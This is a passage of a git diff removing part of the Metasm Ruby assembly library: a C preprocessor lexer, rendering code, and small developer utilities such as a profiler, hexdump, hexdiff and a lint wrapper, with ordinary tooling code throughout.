c - end - - def ungetchar - @pos = @ungetcharpos - @lineno = @ungetcharlineno - nil - end - - # returns true if no more data is available - def eos? - @pos >= @text.length and @queue.empty? and @backtrace.empty? - end - - # push back a token, will be returned on the next readtok - # lifo - def unreadtok(tok) - @queue << tok if tok - nil - end - - # calls readtok_nopp and handles preprocessor directives - def readtok - tok = readtok_nopp - return tok if not @may_preprocess # shortcut - - if not tok - # end of file: resume parent - if not @backtrace.empty? - raise ParseError, "parse error in #@filename: unmatched #if/#endif" if @backtrace.last.pop != @ifelse_nesting.length - @filename, @lineno, @text, @pos, @queue = @backtrace.pop - tok = readtok - end - - elsif tok.type == :punct and tok.raw == '#' and not tok.expanded_from and @ifelse_nesting.last != :testing - # backward check for :eol (skip the '#' itself) - pos = @pos-2 - while pos >= 0 # if reach start of file, proceed - case @text[pos, 1] - when "\n" - pos -= 1 if pos > 0 and @text[pos-1] == ?\r - return tok if pos > 0 and @text[pos-1] == ?\\ # check if the newline was a line-continuation - return tok if pos > 2 and @text[pos-3, 3] == '??/' # trigraph - break # proceed - when /\s/ # beware switch order, this matches "\n" too - else return tok # false alarm - end - pos -= 1 - end - pretok = [] - rewind = true - while ntok = readtok_nopp - pretok << ntok - if ntok.type == :space # nothing - next - elsif ntok.type == :string and not ntok.expanded_from - rewind = false if preprocessor_directive(ntok) - end - break - end - if rewind - # false alarm: revert - pretok.reverse_each { |t| unreadtok t } - else - # XXX return :eol ? - tok = readtok - end - - elsif tok.type == :string and m = @definition[tok.raw] and not tok.expanded_from.to_a.find { |ef| ef.raw == m.name.raw } and - ((m.args and margs = Macro.parse_arglist(self)) or not m.args) - - if defined? @traced_macros and tok.backtrace[-2].to_s[0] == ?" and m.name and m.name.backtrace[-2].to_s[0] == ?< - @traced_macros |= [tok.raw] # we are in a normal file and expand to an header-defined macro - end - - m.apply(self, tok, margs).reverse_each { |t| unreadtok t } - - tok = readtok - end - - tok - end - - # read and return the next token - # parses quoted strings (set tok.value) and C/C++ comments (:space/:eol) - def readtok_nopp - return @queue.pop unless @queue.empty? - - nbt = [] - @backtrace.each { |bt| nbt << bt[0] << bt[1] } - tok = Token.new(nbt << @filename << @lineno) - - case c = getchar - when nil - return nil - when ?', ?" - # read quoted string value - readtok_nopp_str(tok, c) - when ?a..?z, ?A..?Z, ?0..?9, ?$, ?_ - tok.type = :string - raw = tok.raw << c - while c = getchar - case c - when ?a..?z, ?A..?Z, ?0..?9, ?$, ?_ - else break - end - raw << c - end - ungetchar - - when ?\ , ?\t, ?\r, ?\n, ?\f - tok.type = ((c == ?\ || c == ?\t) ? :space : :eol) - raw = tok.raw << c - while c = getchar - case c - when ?\ , ?\t - when ?\n, ?\f, ?\r; tok.type = :eol - else break - end - raw << c - end - ungetchar - - when ?/ - raw = tok.raw << c - # comment - case c = getchar - when ?/ - # till eol - tok.type = :eol - raw << c - while c = getchar - raw << c - break if c == ?\n - end - when ?* - tok.type = :space - raw << c - seenstar = false - while c = getchar - raw << c - case c - when ?*; seenstar = true - when ?/; break if seenstar # no need to reset seenstar, already false - else seenstar = false - end - end - raise tok, 'unterminated c++ comment' if not c - else - # just a slash - ungetchar - tok.type = :punct - end - - else - tok.type = :punct - tok.raw << c - end - - tok - end - - # we just read a ' or a ", read until the end of the string - # tok.value will contain the raw string (with escapes interpreted etc) - def readtok_nopp_str(tok, delimiter) - tok.type = :quoted - tok.raw << delimiter - tok.value = '' - tok.value.force_encoding('binary') if tok.value.respond_to?(:force_encoding) - c = nil - loop do - raise tok, 'unterminated string' if not c = getchar - tok.raw << c - case c - when delimiter; break - when ?\\ - raise tok, 'unterminated escape' if not c = getchar - tok.raw << c - tok.value << \ - case c - when ?n; ?\n - when ?r; ?\r - when ?t; ?\t - when ?a; ?\a - when ?b; ?\b - when ?v; ?\v - when ?f; ?\f - when ?e; ?\e - when ?#, ?\\, ?', ?"; c - when ?\n; '' # already handled by getchar - when ?x; - hex = '' - while hex.length < 2 - raise tok, 'unterminated escape' if not c = getchar - case c - when ?0..?9, ?a..?f, ?A..?F - else ungetchar; break - end - hex << c - tok.raw << c - end - raise tok, 'unterminated escape' if hex.empty? - hex.hex - when ?0..?7; - oct = '' << c - while oct.length < 3 - raise tok, 'unterminated escape' if not c = getchar - case c - when ?0..?7 - else ungetchar; break - end - oct << c - tok.raw << c - end - oct.oct - else c # raise tok, 'unknown escape sequence' - end - when ?\n; ungetchar ; raise tok, 'unterminated string' - else tok.value << c - end - end - - tok - end - - - # defines a simple preprocessor macro (expands to 0 or 1 token) - # does not check overwriting - def define(name, value=nil, from=caller.first) - from =~ /^(.*?):(\d+)/ - btfile, btlineno = $1, $2.to_i - if not @may_preprocess and @text =~ /#{Regexp.escape name}/ - @may_preprocess = true - end - t = Token.new([btfile, btlineno]) - t.type = :string - t.raw = name.dup - @definition[name] = Macro.new(t) - if value.kind_of? ::String and eos? - feed(value, btfile, btlineno) - @definition[name].body << readtok until eos? - elsif value # XXX won't split multi-token defs.. - t = Token.new([btfile, btlineno]) - t.type = :string - t.raw = value.to_s - @definition[name].body << t - end - end - - # defines a pp constant if it is not already defined - def define_weak(name, value=nil, from=caller.first) - define(name, value, from) if not @definition[name] - end - - # defines a pp constant so that later #define/#undef will be ignored - def define_strong(name, value=nil, from=caller.first) - (@defined_strong ||= []) << name - define(name, value, from) - end - - # does not define name, and prevent it from being defined later - def nodefine_strong(name) - (@defined_strong ||= []) << name - end - - # handles #directives - # returns true if the command is valid - # second parameter for internal use - def preprocessor_directive(cmd, ocmd = cmd) - # read spaces, returns the next token - # XXX for all commands that may change @ifelse_nesting, ensure last element is :testing to disallow any other preprocessor directive to be run in a bad environment (while looking ahead) - skipspc = lambda { - loop do - tok = readtok_nopp - break tok if not tok or tok.type != :space - end - } - - # XXX do not preprocess tokens when searching for :eol, it will trigger preprocessor directive detection from readtok - - eol = tok = nil - case cmd.raw - when 'if' - case @ifelse_nesting.last - when :accept, nil - @ifelse_nesting << :testing - raise cmd, 'expr expected' if not test = PPExpression.parse(self) - eol = skipspc[] - raise eol, 'pp syntax error' if eol and eol.type != :eol - unreadtok eol - case test.reduce - when 0; @ifelse_nesting[-1] = :discard - when Integer; @ifelse_nesting[-1] = :accept - else @ifelse_nesting[-1] = :discard - end - when :discard, :discard_all - @ifelse_nesting << :discard_all - end - - when 'ifdef' - case @ifelse_nesting.last - when :accept, nil - @ifelse_nesting << :testing - raise eol || tok || cmd, 'pp syntax error' if not tok = skipspc[] or tok.type != :string or (eol = skipspc[] and eol.type != :eol) - unreadtok eol - @ifelse_nesting[-1] = (@definition[tok.raw] ? :accept : :discard) - when :discard, :discard_all - @ifelse_nesting << :discard_all - end - - when 'ifndef' - case @ifelse_nesting.last - when :accept, nil - @ifelse_nesting << :testing - raise eol || tok || cmd, 'pp syntax error' if not tok = skipspc[] or tok.type != :string or (eol = skipspc[] and eol.type != :eol) - unreadtok eol - @ifelse_nesting[-1] = (@definition[tok.raw] ? :discard : :accept) - when :discard, :discard_all - @ifelse_nesting << :discard_all - end - - when 'elif' - case @ifelse_nesting.last - when :accept - @ifelse_nesting[-1] = :discard_all - when :discard - @ifelse_nesting[-1] = :testing - raise cmd, 'expr expected' if not test = PPExpression.parse(self) - raise eol, 'pp syntax error' if eol = skipspc[] and eol.type != :eol - unreadtok eol - case test.reduce - when 0; @ifelse_nesting[-1] = :discard - when Integer; @ifelse_nesting[-1] = :accept - else @ifelse_nesting[-1] = :discard - end - when :discard_all - else raise cmd, 'pp syntax error' - end - - when 'else' - @ifelse_nesting << :testing - @ifelse_nesting.pop - raise eol || cmd, 'pp syntax error' if @ifelse_nesting.empty? or (eol = skipspc[] and eol.type != :eol) - unreadtok eol - case @ifelse_nesting.last - when :accept - @ifelse_nesting[-1] = :discard_all - when :discard - @ifelse_nesting[-1] = :accept - when :discard_all - end - - when 'endif' - @ifelse_nesting << :testing - @ifelse_nesting.pop - raise eol || cmd, 'pp syntax error' if @ifelse_nesting.empty? or (eol = skipspc[] and eol.type != :eol) - unreadtok eol - @ifelse_nesting.pop - - when 'define' - return if @ifelse_nesting.last and @ifelse_nesting.last != :accept - - raise tok || cmd, 'pp syntax error' if not tok = skipspc[] or tok.type != :string - m = Macro.new(tok) - valid = m.parse_definition(self) - if not defined? @defined_strong or not @defined_strong.include? tok.raw - puts "W: pp: redefinition of #{tok.raw} at #{tok.backtrace_str},\n prev def at #{@definition[tok.raw].name.backtrace_str}" if @definition[tok.raw] and $VERBOSE and @warn_redefinition - @definition[tok.raw] = m if valid - end - - when 'undef' - return if @ifelse_nesting.last and @ifelse_nesting.last != :accept - - raise eol || tok || cmd, 'pp syntax error' if not tok = skipspc[] or tok.type != :string or (eol = skipspc[] and eol.type != :eol) - if not defined? @defined_strong or not @defined_strong.include? tok.raw - @definition.delete tok.raw - unreadtok eol - end - - when 'include', 'include_next' - return if @ifelse_nesting.last and @ifelse_nesting.last != :accept - - directive_include(cmd, skipspc) - - when 'error', 'warning' - return if @ifelse_nesting.last and @ifelse_nesting.last != :accept - msg = '' - while tok = readtok_nopp and tok.type != :eol - msg << tok.raw - end - unreadtok tok - if cmd.raw == 'warning' - puts cmd.exception("#warning#{msg}").message if $VERBOSE - else - raise cmd, "#error#{msg}" - end - - when 'line' - return if @ifelse_nesting.last and @ifelse_nesting.last != :accept - - raise tok || cmd if not tok = skipspc[] or tok.type != :string - @lineno = Integer(tok.raw) rescue raise(tok, 'bad line number') - raise eol if eol = skipspc[] and eol.type != :eol - unreadtok eol - - when 'pragma' - return if @ifelse_nesting.last and @ifelse_nesting.last != :accept - - directive_pragma(cmd, skipspc) - - else return false - end - - # skip #ifndef'd parts of the source - state = 1 # just seen :eol - while @ifelse_nesting.last == :discard or @ifelse_nesting.last == :discard_all - begin - tok = skipspc[] - rescue ParseError - # react as gcc -E: <"> unterminated in #if 0 => ok, </*> unterminated => error (the " will fail at eol) - retry - end - - if not tok; raise ocmd, 'pp unterminated conditional' - elsif tok.type == :eol; state = 1 - elsif state == 1 and tok.type == :punct and tok.raw == '#'; state = 2 - elsif state == 2 and tok.type == :string; state = preprocessor_directive(tok, ocmd) ? 1 : 0 - else state = 0 - end - end - - true - end - - # handles the '#include' directive, which will insert a new file content in the token stream - def directive_include(cmd, skipspc) - raise cmd, 'nested too deeply' if backtrace.length > 200 # gcc - - # allow preprocessing - nil while tok = readtok and tok.type == :space - raise tok || cmd, 'pp syntax error' if not tok or (tok.type != :quoted and (tok.type != :punct or tok.raw != '<')) - if tok.type == :quoted - ipath = tok.value - if @filename[0] == ?< or @backtrace.find { |btf, *a| btf[0] == ?< } - # XXX local include from a std include... (kikoo windows.h !) - path = nil - if not @include_search_path.find { |d| ::File.exist?(path = ::File.join(d, ipath)) } || - @include_search_path.find { |d| path = file_exist_nocase(::File.join(d, ipath)) } || - path = file_exist_nocase(::File.join(::File.dirname(@filename[1..-2]), ipath)) - path = nil - end - elsif ipath[0] != ?/ - path = ::File.join(::File.dirname(@filename[1..-2]), ipath) if ipath[0] != ?/ - path = file_exist_nocase(path || ipath) if not ::File.exist?(path || ipath) - else - path = ipath - path = file_exist_nocase(path) if not ::File.exist? path - end - else - # no more preprocessing : allow comments/multiple space/etc - ipath = '' - while tok = readtok_nopp and (tok.type != :punct or tok.raw != '>') - raise cmd, 'syntax error' if tok.type == :eol - ipath << tok.raw - end - raise cmd, 'pp syntax error, unterminated path' if not tok - if ipath[0] != ?/ - path = nil - isp = @include_search_path - if cmd.raw == 'include_next' - raise self, 'include_next sux' if not idx = isp.find { |d| @filename[1, d.length] == d } - isp = isp[isp.index(idx)+1..-1] - end - if not isp.find { |d| ::File.exist?(path = ::File.join(d, ipath)) } || - isp.find { |d| path = file_exist_nocase(::File.join(d, ipath)) } - path = nil - end - end - end - eol = nil - raise eol if eol = skipspc[] and eol.type != :eol - unreadtok eol - return if cmd.raw == 'include_next' and not path and not @hooked_include[ipath] # XXX - - if not @pragma_once[path || ipath] - @backtrace << [@filename, @lineno, @text, @pos, @queue, @ifelse_nesting.length] - - # gcc-style autodetect - # XXX the headers we already parsed may have needed a prepare_gcc... - # maybe restart parsing ? - if ipath == 'stddef.h' and not path and not @hooked_include[ipath] - tk = tok.dup - tk.raw = 'prepare_gcc' - @pragma_callback[tk] - if @hooked_include[ipath] - puts "metasm pp: autodetected gcc-style headers" if $VERBOSE - end - end - - if @hooked_include[ipath] - path = '<hooked>/'+ipath - puts "metasm preprocessor: including #{path}" if $DEBUG - @text = @hooked_include[ipath] - else - puts "metasm preprocessor: including #{path}" if $DEBUG - raise cmd, "No such file or directory #{ipath.inspect}" if not path or not ::File.exist? path - raise cmd, 'filename too long' if path.length > 4096 # gcc - @text = ::File.read(path) - end - - # @filename[-1] used in trace_macros to distinguish generic/specific files - if tok.type == :quoted - @filename = '"' + path + '"' - else - @filename = '<' + path + '>' - end - @lineno = 1 - @pos = 0 - @queue = [] - else - puts "metasm preprocessor: not reincluding #{path} (pragma once)" if $DEBUG - end - end - - # checks if a file exists - # search for case-insensitive variants of the path - # returns the match if found, or nil - def file_exist_nocase(name) - componants = name.tr('\\', '/').split('/') - if componants[0] == '' - ret = '/' - componants.shift - else - ret = './' - end - componants.each { |cp| - return if not ccp = Dir.entries(ret).find { |ccp_| ccp_.downcase == cp.downcase } - ret = File.join(ret, ccp) - } - ret - end - - # handles a '#pragma' directive in the preprocessor source - # here we handle: - # 'once': do not re-#include this file - # 'no_warn_redefinition': macro redefinition warning - # 'include_dir' / 'include_path': insert directories in the #include <xx> search path (this new dir will be searched first) - # 'push_macro' / 'pop_macro': allows temporary redifinition of a macro with later restoration - # other directives are forwarded to @pragma_callback - def directive_pragma(cmd, skipspc) - nil while tok = readtok and tok.type == :space - raise tok || cmd if not tok or tok.type != :string - - case tok.raw - when 'once' - @pragma_once[@filename[1..-2]] = true - when 'no_warn_redefinition' - @warn_redefinition = false - when 'include_dir', 'include_path' - nil while dir = readtok and dir.type == :space - raise cmd, 'qstring expected' if not dir or dir.type != :quoted - dir = ::File.expand_path dir.value - raise cmd, "invalid path #{dir.inspect}" if not ::File.directory? dir - @include_search_path.unshift dir - - when 'push_macro', 'pop_macro' - @pragma_macro_stack ||= [] - nil while lp = readtok and lp.type == :space - nil while m = readtok and m.type == :space - nil while rp = readtok and rp.type == :space - raise cmd if not rp or lp.type != :punct or rp.type != :punct or lp.raw != '(' or rp.raw != ')' or m.type != :quoted - if tok.raw == 'push_macro' - @pragma_macro_stack << @definition[m.value] - else - raise cmd, "macro stack empty" if @pragma_macro_stack.empty? - if mbody = @pragma_macro_stack.pop # push undefined macro allowed - @definition[m.value] = mbody - else - @definition.delete m.value - end - end - else - @pragma_callback[tok] - end - - eol = nil - raise eol, 'eol expected' if eol = skipspc[] and eol.type != :eol - unreadtok eol - end - - # parses a preprocessor expression (similar to Expression, + handles "defined(foo)"), returns an Expression - class PPExpression - class << self - # reads an operator from the lexer, returns the corresponding symbol or nil - def readop(lexer) - if not tok = lexer.readtok or tok.type != :punct - lexer.unreadtok tok - return - end - - op = tok - case op.raw - # may be followed by itself or '=' - when '>', '<' - if ntok = lexer.readtok and ntok.type == :punct and (ntok.raw == op.raw or ntok.raw == '=') - op = op.dup - op.raw << ntok.raw - else - lexer.unreadtok ntok - end - # may be followed by itself - when '|', '&' - if ntok = lexer.readtok and ntok.type == :punct and ntok.raw == op.raw - op = op.dup - op.raw << ntok.raw - else - lexer.unreadtok ntok - end - # must be followed by '=' - when '!', '=' - if not ntok = lexer.readtok or ntok.type != :punct and ntok.raw != '=' - lexer.unreadtok ntok - lexer.unreadtok tok - return - end - op = op.dup - op.raw << ntok.raw - # ok - when '^', '+', '-', '*', '/', '%', '>>', '<<', '>=', '<=', '||', '&&', '!=', '==' - # unknown - else - lexer.unreadtok tok - return - end - op.value = op.raw.to_sym - op - end - - # handles floats and "defined" keyword - def parse_intfloat(lexer, tok) - if tok.type == :string and tok.raw == 'defined' - nil while ntok = lexer.readtok_nopp and ntok.type == :space - raise tok if not ntok - if ntok.type == :punct and ntok.raw == '(' - nil while ntok = lexer.readtok_nopp and ntok.type == :space - nil while rtok = lexer.readtok_nopp and rtok.type == :space - raise tok if not rtok or rtok.type != :punct or rtok.raw != ')' - end - raise tok if not ntok or ntok.type != :string - tok.value = lexer.definition[ntok.raw] ? 1 : 0 - return - elsif tok.type == :string and tok.raw == 'L' - ntok = lexer.readtok_nopp - if ntok.type == :quoted and ntok.raw[0] == ?' - tok.raw << ntok.raw - tok.value = (ntok.value + "\0\0").unpack('v') # XXX endianness - else - lexer.unreadtok ntok - end - end - - Expression.parse_num_value(lexer, tok) - end - - # returns the next value from lexer (parenthesised expression, immediate, variable, unary operators) - # single-line only, and does not handle multibyte char string - def parse_value(lexer) - nil while tok = lexer.readtok and tok.type == :space - return if not tok - case tok.type - when :string - parse_intfloat(lexer, tok) - val = tok.value || tok.raw - when :quoted - if tok.raw[0] != ?' or tok.value.length > 1 # allow single-char - lexer.unreadtok tok - return - end - val = tok.value[0] - when :punct - case tok.raw - when '(' - val = parse(lexer) - nil while ntok = lexer.readtok and ntok.type == :space - raise tok, "')' expected after #{val.inspect} got #{ntok.inspect}" if not ntok or ntok.type != :punct or ntok.raw != ')' - when '!', '+', '-', '~' - nil while ntok = lexer.readtok and ntok.type == :space - lexer.unreadtok ntok - raise tok, 'need expression after unary operator' if not val = parse_value(lexer) - val = Expression[tok.raw.to_sym, val] - when '.' - parse_intfloat(lexer, tok) - if not tok.value - lexer.unreadtok tok - return - end - val = tok.value - else - lexer.unreadtok tok - return - end - else - lexer.unreadtok tok - return - end - nil while tok = lexer.readtok and tok.type == :space - lexer.unreadtok tok - val - end - - def parse(lexer) - opstack = [] - stack = [] - - return if not e = parse_value(lexer) - - stack << e - - while op = readop(lexer) - nil while ntok = lexer.readtok and ntok.type == :space - lexer.unreadtok ntok - until opstack.empty? or Expression::OP_PRIO[op.value][opstack.last] - stack << Expression.new(opstack.pop, stack.pop, stack.pop) - end - - opstack << op.value - - raise op, 'need rhs' if not e = parse_value(lexer) - - stack << e - end - - until opstack.empty? - stack << Expression.new(opstack.pop, stack.pop, stack.pop) - end - - Expression[stack.first] - end - end - end -end -end diff --git a/lib/metasm/metasm/render.rb b/lib/metasm/metasm/render.rb deleted file mode 100644 index 9c2fcb9b3f..0000000000 --- a/lib/metasm/metasm/render.rb +++ /dev/null @@ -1,106 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - -module Metasm - -# a Renderable element has a method #render that returns an array of [String or Renderable] -module Renderable - def to_s - render.join - end - - # yields each Expr seen in #render (recursive) - def each_expr - r = proc { |e| - case e - when Expression - r[e.lexpr] ; r[e.rexpr] - yield e - when ExpressionType - yield e - when Renderable - e.render.each { |re| r[re] } - end - } - r[self] - end -end - - -class Instruction - include Renderable - def render - @cpu.render_instruction(self) - end -end - -class Label - include Renderable - def render - [@name + ':'] - end -end - -class CPU - # renders an instruction - # may use instruction-global properties to render an argument (eg specify pointer size if not implicit) - def render_instruction(i) - r = [] - r << i.opname - r << ' ' - i.args.each { |a| r << a << ', ' } - r.pop - r - end - - # ease debugging in irb - def inspect - "#<#{self.class}:#{'%x' % object_id} ... >" - end -end - -class Expression - include Renderable - - def render_integer(e) - if e < 0 - neg = true - e = -e - end - if e < 10; e = e.to_s - else - e = '%xh' % e - e = '0' << e unless (?0..?9).include? e[0] - end - e = '-' << e if neg - e - end - - NOSQ1 = NOSQ2 = {:* => [:*], :+ => [:+, :-, :*], :- => [:+, :-, :*]} - NOSQ2[:-] = [:*] - def render - l = @lexpr.kind_of?(::Integer) ? render_integer(@lexpr) : @lexpr - r = @rexpr.kind_of?(::Integer) ? render_integer(@rexpr) : @rexpr - l = ['(', l, ')'] if @lexpr.kind_of?(Expression) and (not oa = NOSQ1[@op] or not oa.include?(@lexpr.op)) - r = ['(', r, ')'] if @rexpr.kind_of?(Expression) and (not oa = NOSQ2[@op] or not oa.include?(@rexpr.op)) - op = @op if l or @op != :+ - if op == :+ - r0 = [r].flatten.first - r0 = r0.render.flatten.first while r0.kind_of? Renderable - op = nil if (r0.kind_of?(::Integer) and r0 < 0) or (r0.kind_of?(::String) and r0[0] == ?-) or r0 == :- - end - [l, op, r].compact - end -end - -class ExpressionString - include Renderable - - def render; hide_str ? @expr.render : render_str ; end -end -end diff --git a/lib/metasm/misc/bottleneck.rb b/lib/metasm/misc/bottleneck.rb deleted file mode 100644 index 53a82168d3..0000000000 --- a/lib/metasm/misc/bottleneck.rb +++ /dev/null @@ -1,61 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# A script to help finding performance bottlenecks: -# -# $ ruby-prof myscript.rb -# => String#+ gets called 50k times and takes 30s -# -# $ LOGCALLER='String#+' ruby -r bottleneck myscript.rb -# => String#+ called 40k times from: -# stuff.rb:42 in Myclass#uglymethod from -# stuff.rb:32 in Myclass#initialize -# -# now you know what to rewrite - - - -def log_caller(cls, meth, singleton=false, histlen=nil) - histlen ||= ENV.fetch('LOGCALLER_MAXHIST', 16).to_i - dec_meth = 'm_' + meth.to_s.gsub(/[^\w]/) { |c| c.unpack('H*')[0] } - malias = dec_meth + '_log_caller' - mcntr = '$' + dec_meth + '_counter' - eval <<EOS - -#{cls.kind_of?(Class) ? 'class' : 'module'} #{cls} -#{'class << self' if singleton} - alias #{malias} #{meth} - - def #{meth}(*a, &b) - #{mcntr}[caller[0, #{histlen}]] += 1 - #{malias}(*a, &b) - end - -#{'end' if singleton} -end - -#{mcntr} = Hash.new(0) - -at_exit { - total = #{mcntr}.inject(0) { |a, (k, v)| a+v } - puts "\#{total} callers of #{cls} #{meth}:" - #{mcntr}.sort_by { |k, v| - -v - }[0, 4].each { |k, v| - puts " \#{'%.2f%%' % (100.0*v/total)} - \#{v} times from", k, '' - } -} - -EOS - -end - -ENV['LOGCALLER'].to_s.split(';').map { |lc| - next if not lc =~ /^(.*)([.#])(.*)$/ - cls, sg, meth = $1, $2, $3.to_sym - sg = { '.' => true, '#' => false }[sg] - cls = cls.split('::').inject(::Object) { |o, cst| o.const_get(cst) } - log_caller(cls, meth, sg) -} diff --git a/lib/metasm/misc/cheader-findpppath.rb b/lib/metasm/misc/cheader-findpppath.rb deleted file mode 100644 index 2629ff8761..0000000000 --- a/lib/metasm/misc/cheader-findpppath.rb +++ /dev/null @@ -1,58 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# -# shows the preprocessor path to find a specific line -# usage: ruby chdr-find.rb 'regex pattern' list of files.h -# - -def gets - l = $ungets - $ungets = nil - l || super() -end - -def parse(root=false) - want = false - ret = [] - while l = gets - case l = l.strip - when /^#if/ - ret << l - r = parse(true) - if r.empty? - ret.pop - else - want = true - rr = r.pop - ret.concat r.map { |l_| (l_[0,3] == '#el' ? ' ' : ' ') << l_ } - ret << rr - end - when /^#el/ - if not root - $ungets = l - break - end - ret << l - r = parse - want = true if not r.empty? - ret.concat r - when /^#endif/ - if not root - $ungets = l - break - end - ret << l - break - when /#$srch/ #, /^#include/ - want = true - ret << l - end - end - want ? ret : [] -end - -$srch = ARGV.shift -puts parse diff --git a/lib/metasm/misc/hexdiff.rb b/lib/metasm/misc/hexdiff.rb deleted file mode 100644 index b52e3751ab..0000000000 --- a/lib/metasm/misc/hexdiff.rb +++ /dev/null @@ -1,74 +0,0 @@ -#!/usr/bin/env ruby -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - - -synclen = 6 -ctxlen = 16 - -file1 = ('x'*ctxlen) + File.read(ARGV.shift) -file2 = ('x'*ctxlen) + File.read(ARGV.shift) - -count1 = count2 = ctxlen - -# prints the string in 80 cols -# with the first column filled with +pfx+ -def show(pfx, str) - loop do - if str.length > 79 - len = 79 - str[0...79][/\S+$/].to_s.length - len = 79 if len == 0 - puts pfx + str[0...len] - str = str[len..-1] - else - puts pfx + str - break - end - end -end - -loop do - w1 = file1[count1] - w2 = file2[count2] - break if not w1 and not w2 - if w1 == w2 - count1 += 1 - count2 += 1 - else - diff1 = diff2 = nil - catch(:resynced) { - 1000.times { |depth| - (-depth..depth).map { |d| - if d == 0 - [depth, depth] - elsif d < 0 - [depth, depth+d] - elsif d > 0 - [depth-d, depth] - end - }.each { |dc1, dc2| - next if !(0...synclen).all? { |i| file1[count1 + dc1 + i] == file2[count2 + dc2 + i] } - - puts "@#{(count1-ctxlen).to_s 16} #{(count2-ctxlen).to_s 16}" - show ' ', file1[count1-ctxlen, ctxlen].inspect - if dc1 > 0 - show '-', file1[count1, dc1].inspect - end - if dc2 > 0 - show '+', file2[count2, dc2].inspect - end - count1 += dc1 - count2 += dc2 - show ' ', file1[count1, ctxlen].inspect - puts - - throw :resynced - } - } - raise 'nomatch..' - } - end -end diff --git a/lib/metasm/misc/hexdump.rb b/lib/metasm/misc/hexdump.rb deleted file mode 100644 index 98cce4cad4..0000000000 --- a/lib/metasm/misc/hexdump.rb +++ /dev/null @@ -1,56 +0,0 @@ -#!/usr/bin/env ruby -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - - -class IO -def hexdump(ctx={}) - ctx[:noend] = true - while buf = read(512) and not buf.empty? - buf.hexdump(ctx) - end - ctx.delete :noend - ''.hexdump(ctx) -end -end - -class String -def hexdump(ctx={}) - fmt = ctx[:fmt] ||= ['c', 'd', 'a'] - ctx[:pos] ||= 0 - ctx[:linelen] ||= 16 - scan(/.{1,#{ctx[:linelen]}}/m) { |s| - if s != ctx[:lastline] - ctx[:lastdup] = false - print '%04x ' % ctx[:pos] - print s.unpack('C*').map { |b| '%02x' % b }.join(' ').ljust(3*16-1) + ' ' if fmt.include? 'c' - print s.unpack('v*').map { |b| '%04x' % b }.join(' ').ljust(5*8-1) + ' ' if fmt.include? 'w' - print s.unpack('L*').map { |b| '%08x' % b }.join(' ').ljust(9*4-1) + ' ' if fmt.include? 'd' - print s.tr("\0-\x1f\x7f-\xff", '.') if fmt.include? 'a' - puts - elsif not ctx[:lastdup] - ctx[:lastdup] = true - puts '*' - end - ctx[:lastline] = s - ctx[:pos] += s.length - } - puts '%04x' % ctx[:pos] if not ctx[:noend] -rescue Errno::EPIPE - exit -end -end - -if $0 == __FILE__ - fmt = [] - fmt << 'c' if ARGV.delete '-C' - fmt << 'w' if ARGV.delete '-W' - fmt << 'd' if ARGV.delete '-D' - fmt << 'a' if ARGV.delete '-A' - fmt = ['c', 'd', 'a'] if ARGV.delete '-a' - infd = ARGV.empty? ? $stdin : File.open(ARGV.first, 'rb') - infd.hexdump(:fmt => fmt) -end diff --git a/lib/metasm/misc/lint.rb b/lib/metasm/misc/lint.rb deleted file mode 100644 index c6032935fa..0000000000 --- a/lib/metasm/misc/lint.rb +++ /dev/null @@ -1,58 +0,0 @@ -#!/usr/bin/ruby -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# this is a ruby code cleaner tool -# it passes its argument to ruby -v -c, which displays warnings (eg unused variable) -# it shows the incriminated line along the warning, to help identify false positives -# probably linux-only, and need ruby-1.9.1 or newer - -def lint(tg) - if File.symlink?(tg) - # nothing - elsif File.directory?(tg) - Dir.entries(tg).each { |ent| - next if ent == '.' or ent == '..' - ent = File.join(tg, ent) - lint(ent) if File.directory?(ent) or ent =~ /\.rb$/ - } - else - lint_file(tg) - end -end - -def lint_file(tg) - flines = nil - compile_warn(tg).each_line { |line| - file, lineno, warn = line.split(/\s*:\s*/, 3) - if file == tg - if not flines - puts "#{tg}:" - flines = File.readlines(file) #File.open(file, 'rb') { |fd| fd.readlines } - end - puts " l.#{lineno}: #{warn.strip}: #{flines[lineno.to_i-1].strip.inspect}" - end - } - puts if flines -end - -def compile_warn(tg) - r, w = IO.pipe('binary') - if !fork - r.close - $stderr.reopen w - $stdout.reopen '/dev/null' - exec 'ruby', '-v', '-c', tg - exit! - else - w.close - end - r -end - -ARGV << '.' if ARGV.empty? -ARGV.each { |arg| lint arg } - diff --git a/lib/metasm/misc/metasm-all.rb b/lib/metasm/misc/metasm-all.rb deleted file mode 100644 index 396eb5b902..0000000000 --- a/lib/metasm/misc/metasm-all.rb +++ /dev/null @@ -1,13 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# this file loads all metasm files, to avoid using ruby autoload mechanism - -require File.join(File.dirname(__FILE__), '..', 'metasm') - -module Metasm - Const_autorequire.values.flatten.each { |f| require File.join('metasm', f) } - $:.pop if $:.last == Metasmdir -end diff --git a/lib/metasm/misc/objdiff.rb b/lib/metasm/misc/objdiff.rb deleted file mode 100644 index 6e8af75890..0000000000 --- a/lib/metasm/misc/objdiff.rb +++ /dev/null @@ -1,47 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# computes the difference beetween two ruby objects -# walks accessors, arrays and hashes - -def Object.diff(o1, o2) - if o1.class == o2.class - h = {} - case o1 - when Array, Hash - if o1.kind_of? Array - keys = (0...[o1.length, o2.length].max).to_a - else - keys = o1.keys | o2.keys - end - keys.each { |k| - d = 